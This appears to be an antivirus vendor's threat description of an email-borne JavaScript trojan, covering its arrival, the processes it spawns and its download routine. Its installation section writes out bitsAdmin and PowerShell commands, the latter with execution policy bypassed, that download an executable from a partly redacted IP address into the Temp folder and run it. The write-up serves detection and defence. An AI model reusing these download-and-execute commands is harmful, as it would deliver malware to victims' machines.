TROJAN.JS.PLOPROLO.THOAOGAI

This Trojan arrives as an attachment to email messages spammed by other malware/grayware or malicious users.

However, as of this writing, the said sites are inaccessible.

Arrival Details

This Trojan arrives as an attachment to email messages spammed by other malware/grayware or malicious users.

Installation

This Trojan adds the following processes:

• cmd.exe /c bitsAdmin /transfer getitman /download /priority high http://{BLOCKED}.{BLOCKED}.{BLOCKED}7.48/m/{String}
• cmd.exe /c PowErShEll -ExecutionPolicy Bypass (New-Object System.Net.WebClient).DownloadFile('http://{BLOCKED}.{BLOCKED}.{BLOCKED}7.48/m/{String}',%User Temp\{Random numbers.exe}');Start-Process '%User Temp\{Random numbers.exe}

Download Routine

This Trojan connects to the following website(s) to download and execute a malicious file:

• http://{BLOCKED}.{BLOCKED}.{BLOCKED}7.48/m/{String}

It saves the files it downloads using the following names:

• %User Temp%\{Random numbers}.exe

(Note: %User Temp% is the current user's Temp folder, which is usually C:\Documents and Settings\{user name}\Local Settings\Temp on Windows 2000, XP, and Server 2003, or C:\Users\{user name}\AppData\Local\Temp on Windows Vista, 7, and 8.)

Other Details

This Trojan does the following:

• Values of String can be:
  • tm.exe
  • mb.exe

However, as of this writing, the said sites are inaccessible.